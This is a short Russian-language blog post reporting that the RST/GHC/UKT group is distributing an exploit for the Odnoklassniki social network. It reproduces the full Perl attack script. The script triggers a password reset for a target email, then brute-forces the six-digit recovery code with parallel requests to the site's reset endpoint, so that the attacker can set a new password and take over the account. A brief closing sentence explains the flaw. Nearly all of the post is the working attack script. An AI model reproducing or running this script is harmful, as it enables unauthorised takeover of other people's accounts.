Сегодня обнаружил, что RST/GHC вдруг возродилась. Признаться, для меня это было открытие. Только теперь объединенная команда состоит еще из одной тимы: UKT. Кто это такие мне пока неизвестно. А вот сплоит для одноклассников теперь известен всем =) Сегодня его раздавали на IRC-канале всем желающим. Собственно вот и сплоит:
#!/usr/bin/perl use LWP::UserAgent; print qq( ,__ __, / / __ _ / / .___/:::* / / |_____ |/ /<>//,./ / _________ / / / | RST / /.,<>/ | GHC /' \ / | UKT \ \ / \ |__\xD____ \ \/ / / ''''' / / / / / / ___ / *__ __* [preved odnoklassne4gi] ); if (!scalar(@ARGV)) { print "\[~\]Usage : ./$0 eMail {number of child procs}\n\n"; exit(); } if (-e "success") { print "\[-\] File \"success\" exists in your directory. Please rename it or remove.\n\n"; exit(); } my $email="$ARGV[0]"; if ($ARGV[1]) { my $MAX_PROCESSES=$ARGV[1]; } else { my $MAX_PROCESSES=5; } my $DEBUG=0; my @pids; my $npids=0; my $restore=0; my $e; # first step - omg! I lost my password?!?!?! $ua=LWP::UserAgent->new(); $page=$ua->post("http://odnoklassniki.ru/cdk/st.cmd/password/tkn/6544",["st.email"=>$email,"st.posted"=>"set"]); $page_content=$page->content(); if ($page_content=~/st.email/) { print "\[-\] Please provide correct email address\n"; exit(); } else { print "\[+\] Repair password code send to $email\n"; } # step number two - bruteforce code for repair password print "\[~\] Brutforce code for repair password\ This process make take max ~ 18 hours to check all combinations\ You need good internet channel and fast cpu\n"; open(LOG_FILE,">>log"); $not=1; for ($code=100000;$code<=999999;$code++) { if (-e "success") { print "DONE"; exit(); } if ($code==199999 && $not==1) { $cod="099999"; $not=0; $code=100000; } elsif ($code=~/^1(d+)$/ && $not==1) { $code=~/^1(d+)$/; $cod="0$1"; } else { $cod=$code; } if ($cod=~/^(d+)000$/) { print "#"; } my $pid; $pid=fork(); if($pid>0){ push(@pids,$pid); $npids++; if($npids>=$MAX_PROCESSES){ for(1..($MAX_PROCESSES)){ $wait_ret=wait(); if($wait_ret>0){ $npids--; } } } next; }elsif(undef $pid){ print "fork error\n" if ($DEBUG); exit(0); } $p=$ua->post("http://www.odnoklassniki.ru/dk",["st.cmd"=>"passwordReset","st.email"=>$email,"st.confirmation-code"=>$cod,"st.posted"=>"set"]); $con=$p->content(); if ($con=~/password.confirmation/) { print "$cod cached\n"; print LOG_FILE "$cod cached\n"; open(SUCCESS,">>success"); print SUCCESS "\n############################\n"; print SUCCESS "Yahooo! Congratulations! Code for password repair is - $cod\n"; print SUCCESS "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n"; print SUCCESS "Type your email ($email), your repair code ($cod) and set new password for your account.\n"; print SUCCESS "############################\n"; print "############################\n"; print "Yahooo! Congratulations! Code for password repair is - $cod\n"; print "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n"; print "Type your email ($email), your repair code ($cod) and set new password for your account.\n"; print "############################\n"; close(SUCCESS); } else { print LOG_FILE "$cod failed\n"; } exit(); } close(LOG_FILE);
Как видим, уязвимость заключается в механизме восстановления паролей. Правда эксплуатация в худшем случае может занять 18 часов, так как код для восстановления необходимо брутить (6-значное число)
Leave a Reply